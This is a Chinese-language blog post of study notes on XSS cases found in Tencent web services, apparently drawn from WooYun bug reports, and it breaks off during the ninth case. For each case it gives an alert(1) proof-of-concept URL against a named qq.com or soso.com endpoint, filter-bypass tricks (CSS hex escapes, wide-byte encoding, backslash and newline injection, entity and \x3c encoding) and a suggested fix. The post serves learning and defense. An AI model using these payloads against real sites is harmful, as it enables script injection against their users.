[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

栏目: 编程工具 · 发布时间: 6年前

内容简介:@心伤的瘦子 的21个鹅厂XSS案例,从反射型XSS到DOM XSS再到Flash XSS最后到存储型XSS,用案例把各类XSS都讲了一遍,读完之后感觉非常长见识,简单做了一点记录,现在SRC基本不收反射型XSS,Flash应用也几乎绝迹,着重看看存储型XSS叭ヽ(^。^)丿反射型XSS,无过滤,输出在HTML中,直接插入HTML标签,利用标签的一些事件执行js

@心伤的瘦子 的21个鹅厂XSS案例,从反射型XSS到DOM XSS再到Flash XSS最后到存储型XSS,用案例把各类XSS都讲了一遍,读完之后感觉非常长见识,简单做了一点记录,现在SRC基本不收反射型XSS,Flash应用也几乎绝迹,着重看看存储型XSS叭ヽ(^。^)丿

https://shuimugan.com/bug/index?BugSearch%5Bbug_no%5D=&BugSearch%5Btitle%5D=&BugSearch%5Bvendor%5D=&BugSearch%5Bauthor%5D=%E5%BF%83%E4%BC%A4%E7%9A%84%E7%98%A6%E5%AD%90&BugSearch%5Bbug_type%5D=&BugSearch%5Bbug_level_by_whitehat%5D=&BugSearch%5Bbug_level_by_vendor%5D=&BugSearch%5Brank_by_whitehat%5D=&BugSearch%5Bbug_date%5D=&page=1

反射型XSS

1.什么都没过滤的入门情况

反射型XSS,无过滤,输出在HTML中,直接插入HTML标签,利用标签的一些事件执行js

模型:

<html标签>输出</html标签>
  1. XSS的存在,一定是伴随着输入,与输出2个概念的。
  2. 要想过滤掉XSS,你可以在输入层面过滤,也可以在输出层面过滤。
  3. 如果输入和输出都没过滤。 那么漏洞将是显而易见的。

漏洞url:

http://app.data.qq.com/?umod=commentsoutlet&act=count&siteid=3&libid=9&dataid=1480&score=1&func=haoping&_=1353475261886

漏洞点在score,没有过滤

poc:

.....&score=<img src=1 onerror=alert(1);>&...

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

防御:

通常,我们只需要在输出前,将 < , > 过滤掉即可。

这类XSS通常都被浏览器的XSS过滤器秒杀了,所以一般来说,威力较小。

2.输出在 <script></script> 之间

反射型XSS,无过滤,输出在 <script></script> 之间,直接构造js代码,注意把前后的语句闭合。

模型:

<script>...[输出]...</script>
<style>...[输出]...</script>

漏洞点

http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa

callback参数未过滤, 查看源代码:

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

缺陷源代码:

><script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.aaa(_ret);}catch(err){aaa(_ret);}</script>
>

>

碰到这种情况,首先判断,是否过滤了 < , > , / 等符号, 如果都没有过滤,一般可直接XSS。代码如下:

http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa</script><script>alert(1)</script>

原理入下图:

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

如果过滤了 < , > , / 等符号:

  1. http://activity.soso.com/common/setParentsInfo.php?callback=eval('alert(1)');void

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

eval('alert(1)'); 拼接到前面的 parent. 后面了,然后一个 ; 结束了这个语句,然后 void 与后面拼接成了 void(_ret); 。即:

我们插入的内容,使得这一段javascript依然【语法正确】,能够【正确执行】,并且能够执行【我们所插入的JS代码】

防御:

  1. 过滤 组合
  2. 针对输出在不同的场景,进行合适的过滤。

3.输出在HTML属性里的情况

反射型XSS,输出在HTML标签的属性中,比如引入CSS的style属性,或者标签的各种事件属性,不过前者已经过时,后者和输出在 <script> 标签中差不多。

模型

<input value="输出"> 
<img onload="...[输出]...">
<body style="...[输出]...">
  1. 大网站一般不是吃素的。前面讲到的基本情况,一般都很少遇到了。
  2. 这个时候我们可以把目光发展一下,找一找在【输出】出现在HTML属性里的情况。
  3. 最为典型的一种情况,是下面这样的。
    http://xxxx.com/search.php?word=乌云欢迎您
    HTML代码里则是下面这样情况的。
    <input type="text" value="乌云欢迎您" />
    如果这里的word没过滤双引号。就会有以下的情况发生。
    http://xxxx.com/search.php?word=乌云欢迎您" onclick="alert(1)
    对应的源代码如下:
    <input type="text" value="乌云欢迎您" onclick="alert(1)" />
    那么当用户点击这个文本框时,就会触发 alert(1) 。
    转义方法也挺简单,将 " 转义为 &quot; 就行。
    转义后的代码如下:
    <input type="text" value="乌云欢迎您&quot; onclick=&quot;alert(1)" />
  4. 一般, 过滤了 " ,可以说是高枕无忧了,但是事实并非如此。某些情况下。我们依然可以继续XSS。

第一种场景:

<body style="...[输出]...">

>http://follow.v.t.qq.com/index.php?c=follow&a=index&appkey=801004516&
>bg=我是一个兵,爱国爱人民&hsize=80&name=Zhanglifenft,chengyizhong,xiangyang20112007,linchufang,
>leonardoit,linchufang,qingfengxu6685,zhouzhichen001,yuguoming-ruc,
>luomingtitan,bjwbgq,kezuozongbianji,weibotalk,lee007,jxzhongweizhi,lihaipengtx
>

>

这里的bg参数过滤了【几乎】所有的东西。但是它输出在了 <body style="[这里]">

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

更重要的是,这里没有过滤 \ ,反斜线, 而 css里,允许使用转义字符, \+ascii16进制 形式

这里过滤了 expression , 我们也可以轻松的用 expr\65ssion 绕过。

poc:

>http://follow.v.t.qq.com/index.php?c=follow&a=index&appkey=801004516&
>bg=;w:expr\65ssion\28%20eval\28\27\69\66\28\21\77\69\6e\64\6f\77\2e\78\29\7b\61
>\6c\65\72\74\28\64\6f\63\75\6d\65\6e\74\2e\63\6f\6f\6b\69\65\29\3b\77\69\6e\64
>\6f\77\2e\78\3d\31\7d\27\29\29
>&hsize=80&name=Zhanglifenft,chengyizhong,xiangyang20112007,linchufang,
>leonardoit,linchufang,qingfengxu6685,zhouzhichen001,yuguoming-ruc,
>luomingtitan,bjwbgq,kezuozongbianji,weibotalk,lee007,jxzhongweizhi,lihaipengtx
>

>

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

这种情况,遗憾之处在于,基于 css expression 的XSS 已经进入暮年了,只有在IE6,7 下方能触发,受众面小.

第二种场景

<HTML标签 onXXXX="...[输出在这里]..">
<a href="javascript:[输出在这里]">xxxx </a>

漏洞点:

http://stock.finance.qq.com/report/search.php?searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaaaaa

看输出,如下,aaaaaaaa 出现在了2个点。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

常规来说,因为 onxxxx="[输出]"href="javascript:[输出]"<script>[输出]</script> 没有太大区别。因为[输出]所在的地方,都是javascript脚本。

但是 <script>[输出]</script> 如果被过滤,往往没有太好的办法。

而上面这2种情况,则有一个很好的办法绕过过滤。

Tips:

在HTML属性中,会自动对实体字符进行转义。一个简单的比方。
   <img src="1" onerror="alert(1)">
   和
   <img src="1" onerror="alert(1)"> 
   是等效的
>

换言之,只要上面的情况,没有过滤 &# 等符号,我们就可以写入任意字符。

看看缺陷点的代码

<li><input type="text" id="pagenum"  class="inputstyle0814"  onkeydown="
if ((event.keyCode==13) && (this.value!='')) 
	location.href='http://stock.finance.qq.com/report/search.php?offset='+this.value+'&searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaaaaa'
"/></li>
>

>

JS部分我们可以做以下构造,由于 ' 被过滤,我们可以将 ' 写为 &#x27;

location.href='........&searchvalue_yjbg=aaaaaa'
location.href='........&searchvalue_yjbg=aaaaaa'+alert(1)+''
location.href='........&searchvalue_yjbg=aaaaaa'+alert(1)+''

>

接着我们把代码转换为 url 的编码。 &-> %26 , # -> %23

最后利用代码如下:

>http://stock.finance.qq.com/report/search.php?searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaa%26%23x27;%2balert(1)%2b%26%23x27;
>

>

用户点击页面[GO]按钮触发。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

由于缺陷点是发生在 onkeydown 或 a 标签的 href 属性中,无法自动触发,因而使得威胁减小,如果是发生在 img 的 onload 属性,则非常可能导致自动触发。

缺陷页面的 <a href=""> 触发点的代码如下:

><li><div class="yebg"><a href="javascript:
>location='http://stock.finance.qq.com/report/search.php?offset='+document.getElementById('pagenum').value+'&searchtype_yjbg=yjjg&searchvalue_yjbg=aaaaaaaaaa'
>">GO</a></div></li>
>

>

防御:

  1. 对于输出在HTML属性中的情况,需要特殊情况特殊对待,该过滤 \ 的时候,请过滤 \ , 该过滤 & 的情况,则过滤掉 &
  2. 碰到有某些修复的人用正则去判断, &#xNNN .., 而实际上 &#x0NN; &#x00NN , (后面自己慢慢试。。) 都是可以的。 或者是 &#10进制; 以及一些特殊的HTML实体,如 &quot; 等,都要注意到,好麻烦, 最好的办法,还是 & 过滤为 &amp; :)

4. 宽字节复仇记 [QQ邮箱基本通用]

反射型XSS,当 charset=gbxxxxx 时,可以尝试利用宽字节吃掉后面的转义

漏洞点

http://open.mail.qq.com/cgi-bin/qm_help_mailme?sid=,2,zh_CN&t=%22;alert(1);//aaaaaa

尝试注入 " 来闭合前面的双引号,但是很悲剧的是,双引号被过滤了

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

看到这种情况,一般人估计会放弃了吧,至少说明 程序员 注意到了这里,并且过滤了。

然后我们可以看到编码是:

><meta http-equiv="Content-Type" content="text/html; charset=gb18030" />
>

>

gbxxxx系列的编码,那么我们尝试一下宽字节呢?

http://open.mail.qq.com/cgi-bin/qm_help_mailme?sid=,2,zh_CN&t=%c0%22;alert(1);//aaaaaa

看看效果:

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

弹个窗:

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

至于这个漏洞的成因,和传统的宽字节漏洞并不一样。目测应该是由于过滤双引号的正则表达式写得有问题造成的。并不是因为%22变成了 %5c%22,而 %c0吃掉了后面的%5c。 而后面这种情况,在腾讯的相关站点暂时没有发现实际案例。 如果有,欢迎大家分享。

5. 反斜线复仇记

反射型XSS,输出点还是在 <script> 之间,有两个可控的输入输出点,可以在第一个输入输出点使用反斜线 \ 转义后面的引号,第一个输出前的引号,与第二个输出前的引号,组成一个字符串,后面插入我们构造的代码。

漏洞点:

http://mail.qq.com/cgi-bin/login?vt=passport&ss=aaa&from=bbb&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%25252Fcgi-bin%25252Fsetting10%25253Faction%25253Dlist%252526t%25253Dsetting10%252526ss%25253Dindex%252526Mtype%25253D1%252526clickpos%25253D20%252526loc%25253Ddelegate%25252Cwebmap%25252C%25252C1

对应的输出:

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

双引号被转义,反斜线还能用:

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

把缺陷代码部分提取出来。

><script>
>getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin="+"&t="+"&alias="+"&regalias="+"&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%252Fcgi-bin%252Fsetting10%253Faction%253Dlist%2526t%253Dsetting10%2526ss%253Dindex%2526Mtype%253D1%2526clickpos%253D20%2526loc%253Ddelegate%252Cwebmap%252C%252C1"+"&title="+"&url=%2Fcgi-bin%2Flogin%3Fvt%3Dpassport%26ss%3Daaa%2522%26from%3Dbbb%5C%26delegate_url%3D%252Fcgi-bin%252Fframe_html%253Furl%253D%2525252Fcgi-bin%2525252Fsetting10%2525253Faction%2525253Dlist%25252526t%2525253Dsetting10%25252526ss%2525253Dindex%25252526Mtype%2525253D1%25252526clickpos%2525253D20%25252526loc%2525253Ddelegate%2525252Cwebmap%2525252C%2525252C1"+"&org_fun="+"&aliastype="
>+"&ss=aaa"
>+"&from=bbb"
>+"&param="+"&sp=6fa57ce5b3047ebMTM1NTQwOTA2Mg"+"&r=3ec785174fff5206ed6f0cf4a8c5e3c5"+"&ppp="+"&secpp="</script>
>

>

有问题的地方ss和from,但不能使用双引号

但是可以使用反斜线,杀掉 ss=aaa 后面的 " :

>location.href="........."+"&ss=aaaa\"+"&from=bbb"+"&param=";
>

>

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

为了保证 bbb 后面的语法正确性,我们把bbb改为一个数字,把bbb后面加上 // 来注释掉后面的部分。变成以下形式。

>location.href="........"+"&ss=aaaa\"+"&from=1//"+"&param=";
>

>

但是, "字符串"&from=1 这样是错误的,因为&符号的优先级高, ("字符串"&from)=1 是无法进行这种赋值操作的

使用 == 代替 =

>location.href="........"+"&ss=aaaa\"+"&from==1//"+"&param=";
>

>

由于 == 的优先级比 & 高,所以语句相当于 ("字符串")&(from==1)

但是,from未定义,又会报错

js有一个特性:

>aaa();
>function aaa() {
>	...
>}
>

>

凡是以 function xxx(){} 形式定义的函数,都会被最优先解析。换句话说:

解析器在解析JS代码段时,会先将 function xxx(){} 拿到最前面解析,然后再依次解析其它的部分。 换句话说,上面的代码,实际的解析顺序是:

>function aaa() {
>	...
>}
>aaa();
>

>

利用这样一个特性,我们的代码可以改改。

>location.href="........."+"&ss=aaaa\"+"&from==1;function from(){}//"+"&param=";
>

>

这样一来,我们的 function from(){} 就会被提前解析,从而定义了from, 后面 from==1 的时候,就不会报错啦~~

到了这一步,我们会发现还是不行。看一看源代码吧~~ ,哎,我们的空格被转义为了 &nbsp;

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

用注释符来做分隔符。 /**/替换空格,有没有觉得和 sql 注入一样了

>location.href="........."+"&ss=aaaa\"+"&from==1;function/**/from(){}//"+"&param=";
>

>

这次没有语法错误了,我们插入我们自己的JS代码。

>location.href="........."+"&ss=aaaa\"+"&from==1;alert(1);function/**/from(){}//"+"&param=";
>

>

最终完整poc:

>http://mail.qq.com/cgi-bin/login?vt=passport&ss=\&from==0;alert(1);function/**/from(){};//&delegate_url=%2Fcgi-bin%2Fframe_html%3Furl%3D%25252Fcgi-bin%25252Fsetting10%25253Faction%25253Dlist%252526t%25253Dsetting10%252526ss%25253Dindex%252526Mtype%25253D1%252526clickpos%25253D20%252526loc%25253Ddelegate%25252Cwebmap%25252C%25252C1
>

6. 换行符复仇记

反射型XSS,输出在 <script> 之间,且输出的那一行前面有单行注释,那么可以使用换行符,在代码中换行,新的一行前面没有注释,就能够执行我们构造的代码了。

漏洞点

http://datalib.games.qq.com/cgi-bin/search?libid=178&FilterAttrAND=3602&FilterValueAND=aaaaaaaaaa

看输出点:

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

输出点一共有5处,有在HTML标签之间的(教程1),也有在 <script>..</script> 之间的。但是呢,该过滤的, < , > 过滤掉了, 该过滤的 " ,也过滤掉了:

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

输出点还有一处在注释里:

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

这样一来,是否会想到这样一个用法呢?

>//我是注释,我爱洗澡,哦~哦~哦~ [我是输出]
>

>

如果可以使用换行符的话,就会变成

>//我是注释,我爱洗澡,哦~哦~哦~ [我是输出  换行符
>alert(1);//我是输出]
>

>

这样alert(1); 就会被成功执行。

构造:

>http://datalib.games.qq.com/cgi-bin/search?libid=178&FilterAttrAND=3602&FilterValueAND=%0aalert(1);//
>

>

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

成功弹窗

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

7. 宽字节、反斜线与换行符一起复仇记

反射型XSS,宽字节、反斜线与换行符组合使用实现绕过

漏洞点:

http://cgi.data.tech.qq.com/index.php?mod=search&type=data&site=digi&libid=2&curpage=1&pagenum=30&filterattr=138,138|16|4,5,4,5&filtervalue=3500-4000,%B4%F3%D3%DA4000|%D0%FD%D7%AA|WCDMA,WCDMA,HSDPA,HSDPA&tplname=centersearch.shtml&orderby=aaaaaaaaaaaa

老规矩,继续看我们的输出。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

一共有3处输出,位于HTML属性里的那一处,我们放弃了,因为双引号被灭掉了。那么还剩下2处。 都是位于 <script>..</script> 里,而且挨在了一起。

先看第2处,是不是似曾相似啊? 对的,教程6里刚刚遇到过。那就是输出在【注释】的情况。我们用换行符试试?

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

一条是好消息,换行可以用,一条是坏消息。。下面出现的一句坏了我们的好事。。肿么办。

js知识:

javascript,字符串允许下面多行的写法。

>var  a="我是一个字符串\
>我还是一个字符串";
>alert(a);
>

>

基于这点,我们可以把缺陷点构造成下面的样子。

>//document.getElementById("order_select").value = "aaaa\
>alert(1);//";
>	var searchOrder = "aaaa\
>alert(1);//";
>

>

那么代码构造的解析如下:

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

带着这个想法,请上我们的反斜线。。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

悲剧的是,反斜线被过滤成了2个\,这下不好办了。

还记得在教程4里,我们提到的宽字节用法么?说到了 %c0 可以吃掉 %5c 。我们看看页面的编码。

><meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
>

>

于是,我们的 %c0 也加入战斗了。

>http://cgi.data.tech.qq.com/index.php?mod=search&type=data&site=digi&libid=2&curpage=1&pagenum=30&filterattr=138,138|16|4,5,4,5&filtervalue=3500-4000,%B4%F3%D3%DA4000|%D0%FD%D7%AA|WCDMA,WCDMA,HSDPA,HSDPA&tplname=centersearch.shtml
>&orderby=aaaa%c0%5c%0aalert(1);//
>

>

看看源码中的输出。 \\ 被我们变成了 乱码+\

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

DOM XSS

DOM XSS是一类特殊的反射型XSS,但是一般的反射型XSS,XSS代码是通过服务器返回到客户端的,而典型的DOM XSS,XSS的代码是由操作DOM的js动态形成的,在服务器返回的原始HTML中,是不存在XSS攻击的代码。有关DOM XSS的更多内容,可以看窝翻译的这篇文章 https://cyto.top/2019/03/22/translation-DOM-Based-Cross-Site-Scripting-or-XSS-of-the-Third-Kind/

8. Dom Xss入门 [显式输出]

DOM XSS,模型: innerHTML="[输出]"

反射型XSS部分,就到这里了。 接着我们进入Dom Xss的部分。 Dom Xss相比反射型XSS,脑袋需要多思考一层。 也就是说, 我们关注的不仅是【输出】了什么,还要了解这个页面里,【javascript】拿这个【输出】干了什么。 为了循序渐进,本例讲到的是,【输出】直接在源代码可见的情况。

在学习Dom Xss之前,先来补习点 html, js 的基础知识。

> <div id="a">xxx</div>
> <script>
>   document.getElementById("a").innerHTML="yyyyyy";
> </script>
>

>

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

进一步,我们的 yyyyyy ,还可以是 HTML代码。

> <div id="a">xxx</div>
> <script>
>   document.getElementById("a").innerHTML="<img src=1>";
> </script>
>

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

再进一步, JS的字符串中的字符可以写为 unicode编码。

譬如: < 可以表示为 \u003c , > 可以表示为 \u003e

不知道怎么转义的,可以使用gainover的工具。

工具地址: http://app.baidu.com/app/enter?appid=280383

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

上面的代码,可以进一步写为

> <div id="a">xxx</div>
> <script>
>   document.getElementById("a").innerHTML="\u003cimg src=1\u003e";
> </script>
>

漏洞点

http://datalib.ent.qq.com/cgi-bin/search?libid=1&keyvalue=aaaaaaa&attr=133&stype=2&tname=star_second.shtml

和前面反射型的一样,我们先看看输出。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

相关代码,我也贴出来。

><strong id="titleshow">按职业1检索:aaaaaaa </strong></div>
><script>
>if("aaaaaaa"=="")
>document.getElementById("titleshow").innerHTML="按地区检索:全部明星";
>if("职业1"=="职业1")
>document.getElementById("titleshow").innerHTML="按职业检索:aaaaaaa";
>if("职业1"=="职业2")
>document.getElementById("titleshow").innerHTML="按职业检索:aaaaaaa";
>if("职业1"=="职业3")
>document.getElementById("titleshow").innerHTML="按职业检索:aaaaaaa";
></script>
>

>

一共有6处,有一处图上没显示,但是也没用处,这里不列出来了,看上面代码中的5处。我们已经知道, < , > , " 都被过滤了, 用前面提到的某些技巧,似乎也无法直接XSS。那么该怎么办呢?

上面代码中,实际上只有一句是运行了的。我们重点看它。

>if("职业1"=="职业1")
>document.getElementById("titleshow").innerHTML="按职业检索:[输出]";
>

>

这里 [输出] 最然过滤了 < , > ,但是并没有过滤 \ 。这样一来,大家应该清楚,为什么上面要说到 < 可以写为 \u003c 了吧。 就是为了应付这种情况。

因此,我们可以构造缺陷点的代码如下:

> if("职业1"=="职业1")
> document.getElementById("titleshow").innerHTML="按职业检索:\u003img src=1 onerror=alert(1)\u003e";
>

经过运行后, titleshow 里的HTML就会变为 <img src=1 onerror=alert(1)> ,从而弹出1。

对应的,我们的利用代码,可以写为如下,其中空格,我写为了 \u0020

> http://datalib.ent.qq.com/cgi-bin/search?libid=1
> &keyvalue=\u003Cimg\u0020src=1\u0020onerror=alert(1)\u003e
> &attr=133&stype=2&tname=star_second.shtml
>

看看对应的源代码,悲催的事情出现了, \u003c\u003e 竟然被腾讯过滤了。。。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

被过滤的原因,是因为 @Jannock 大牛在乌云报告过这个漏洞。

WooYun: 跨站脚本-可以让战场离得更远(浅谈腾讯架构缺陷)

其实我们还应该注意到上面图片中,过滤的实际上是 \u003c\u003e ,但是并没有过滤 \u0020 ,这说明,腾讯只是针对性的过滤,并没有过滤 反斜线

在JS字符串里, < 不光可以写为 \u003c ,还可以写为 \x3c> 同样可以写为 \x3e 。我们试试腾讯过滤了这个没有呢?

> http://datalib.ent.qq.com/cgi-bin/search?libid=1
> &keyvalue=\x3Cimg\u0020src=1\u0020onerror=alert(1)\x3e
> &attr=133&stype=2&tname=star_second.shtml
>

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

没被过滤

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

总结一下:

本例中, 是 innerHTML 的情况

只要是与改变页面HTML内容相关的操作,都可能导致这种问题。 比如:

> document.getElementById("y").innerHTML="xxxxxxxxxx";
> document.write("xxxxxxxxxxxx");
> 还有一些网站,使用了第三方的JS库,譬如jQuery时,会有
> $("#y").html("xxxxxxx");
>

最后,还需要注意一下:

> aa.innerHTML="xxxxxxxxxxxx"; 
>

这种情况下。xxxxx只能使用 <img src=1 onerror=alert(1)> 这种方式来触发JS。

而不能以 <script>alert(1)</script> 来触发,因为这种压根不会执行 <script>..</script> 之间的内容。 IE下,可以使用 <script defer>alert(1)</script>

修复方案:

方法1. 输出时,过滤 \

方法2. innerHTML=encodeHTML([输出])

9. Dom Xss入门 [隐式输出]

https://shuimugan.com/bug/view?bug_no=16150

DOM XSS

上一篇开始说Dom Xss了,我们说的是显式输出的情况,即我们可以在右键查看源代码的时候,看到我们所输出的内容。而有一些时候,输出操作我们是看不见的。它们通常发生在javascript代码中。譬如: var x=location.href; 这句Javascript实际上进行了一个隐藏的输出操作,即将 location.href 的内容输出到了x变量中。一起来看看相关的例子吧~

在说实际例子前,我们来说一个前端开发人员非常习惯使用的一段代码。下面大致写下伪代码。

> function getParam(参数名){
> 		//获取地址栏参数,通常是 a=1&b=2&c=3;
> 		var x=location.search;//或者是location.hash
> 
> 		//此时x="?a=1&b=2&c=3";
> 		//根据[参数名]取出参数名对应的值
> 		//例如 参数名=a, 则y=1
> 		//例如 参数名=b,  则y=2
> 		//至于这里怎么实现这个功能,可以用循环,可以用indexOf,可以用正则
> 	
> 		var y= 参数名对应的参数值;
> 
> 		return y;
> }
>

它的作用呢?就是从地址栏的参数里取出内容。譬如:

> http://www.some.com/2.html?name=shouzi&age=20
>

我们在2.html,要显示 name 对应的值。对应的代码则非常可能下面这样写:

> <div id="nick">加载中...</div>
> <script>
> var a=getParam("name");  //获取地址栏里的name参数,即shouzi
> document.getElementById("nick").innerHTML=a;
> </script>
>

此时,将 a=<img src=1 onerror=alert(1);> 传入,就会造成8中的DOM XSS

看这节课的案例:

漏洞点:

http://qt.qq.com/video/play_video.htm?sid=aaaaaa

和原来的不同,我们在源代码里搜索不到东西的哦~

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

那可能这里有人会有一个疑问了。那我们怎么知道有没有漏洞呢? 别担心,方法是有的。

这里以chrome为例,按F12,打开调试工具,见下图

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

和查看源代码没有什么不同,只是这次是在调试 工具 里看而已。

通过上面的方式,确定【可能】有漏洞之后。我们可以有2个方式来进行下一步。

1 直接根据调试工具里看到的HTML代码情况,来构造利用代码。 优点:省时间,缺点:如果对方有一定过滤,就很难构造

2 定位到与这个缺陷参数sid相关的JS代码,再来构造利用代码。优点:能利用一些复杂的情况, 缺点:耗时间。

先看1的情况。看到步骤5里面的那个图。我们可以构造以下代码。

> <object width="100%" height="100%" id="f" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0">
> 		<param name="movie" value="aaaaaa"></object><img src="1" onerror="alert(1)">
> 		...
>

对应的图片解析:

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

进而“试探性”的测试一下利用代码,因为我们不知道对方会不会过滤掉 “双引号”,“括号”之类的,只能试试了。。

> http://qt.qq.com/video/play_video.htm?sid=aaaaaa"></object><img src="1" onerror="alert(1)
>

没反应,我们继续看看调试工具,发现,双引号,变成了 \“ 。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

根据这个情况,我们可以进一步修改代码。标签里不使用双引号。

> http://qt.qq.com/video/play_video.htm?sid=aaaaaa"></object><img src=1 onerror=alert(1)>
>

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

可以看到,这种方式,写利用代码很快。

再来看看 2 的方法

既然我们知道了,sid这个参数会被使用。 那么我们的目标是,javascript的代码里哪里使用了sid这个参数呢?

我们首先,F12打开调试工具,点【Resources】,再点Frames, 然后 Ctrl+ F搜索 “sid” 或者 ‘sid’

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

可以看到是 getUrlPara(“sid”),从单词,我们不难猜出,getUrlPara就是前面我们提到的 “获取地址栏参数“的函数。

为了进一步确定,我们可以很方便的在console里查看getUrlParam函数是啥样的。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

function getUrlPara(paraName, sUrl) {
    if (typeof(sUrl) == 'undefined') { // sUrl未定义,
        sUrl = document.location.href; // 初始化为document.location.href,即当前页面url
    }
    var urlRegex = new RegExp(paraName+"=[^&#\?]*", "igm"); // 根据参数名用正则匹配,匹配 参数名=参数值 的形式
    var para = sUrl.match( urlRegex ); // 匹配的结果赋值给para
    if (!para) {
        return ""; // 如果没有匹配到,返回空串
    }
    var v = para[0]; // 如果匹配到,把匹配到的第一对名和值赋值给v
    from = v.indexOf( "=" ); // 获取参数值起始位置
    var paraValue = v.substr(from+1, v.length); // 获取参数值
    while ( paraValue.indexOf('<') >= 0) { // 如果存在<,则过滤掉
        paraValue = paraValue.replace('<', '');
    }
    if( paraValue .indexOf( "#" ) > 0 ) { // 是否存在锚点
        from = paraValue .indexOf( "#" ); // 如果存在#(锚点)
        paraValue = paraValue .substr(0, from ); // 截取到锚点之前
    }
    return paraValue; // 返回处理后的参数值
}

可以看到,实际上getUrlParam是对 < , > 做了过滤, 但是由于chrome浏览器自身的XSS防御机制,导致location.href获取的location.href是已经经过编码的。从而导致未过滤。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

按道理,location.href里的 < , > , " 已经变成了 %3c , %3e , %22 已经被过滤了,不会有XSS了,为什么还可以呢?我们进一步往后看。

[XSS笔记]乌云白帽子心伤的瘦子-21个鹅厂XSS案例

decodeURIComponent(sid) 方法用于解码由encodeURIComponent 方法或者其它类似方法编码的URL

trim() 从一个字符串的两端删除空白字符

看来,关键就是这里,这里有一步 decodeURIComponent 的操作,会将 %3c , %3e ,又变回 < , >

供参考的完整的缺陷代码。

> var sid=getUrlPara("sid");
if(!sid || sid==""){
	document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-10px;">抱歉,视频不存在!</div>';
}else{
	var flash_ver=GetSwfVer();
	if(flash_ver == -1){
		document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-30px;">抱歉,您还没有安装flash插件<br/>请<a target="_blank" href="http://www.macromedia.com/go/getflashplayer">下载</a>10.0以上的flash播放器<br/>安装flash后,请<a href="javascript:location.reload();">点此刷新</a></div>';
	}else if(flash_ver.split('.')[0]<10){
		document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-30px;">抱歉,您的flash版本过低<br/>请<a target="_blank" href="http://www.macromedia.com/go/getflashplayer">下载</a>10.0以上的flash播放器<br/>安装flash后,请<a href="javascript:location.reload();">点此刷新</a></div>';
	}else{
		sid=decodeURIComponent(sid).trim().replace(/([\'\"])/g,'\\\\$1');
		if(!is_valid_sid(sid)){
			document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-10px;">无法打开视频文件,视频地址不合法!</div>';
		}else{
			insertFlash("dv_video","f",sid,"100%","100%");
		}
	}
}
>

接着,会调用 insertFlash(“dv_video”,”f”,sid,”100%”,”100%”);

insertFlash里,也并没有对sid进行任何过滤。

> function insertFlash(elm, eleid, url, w, h) {
    if (!document.getElementById(elm)) return;
    var str = '';
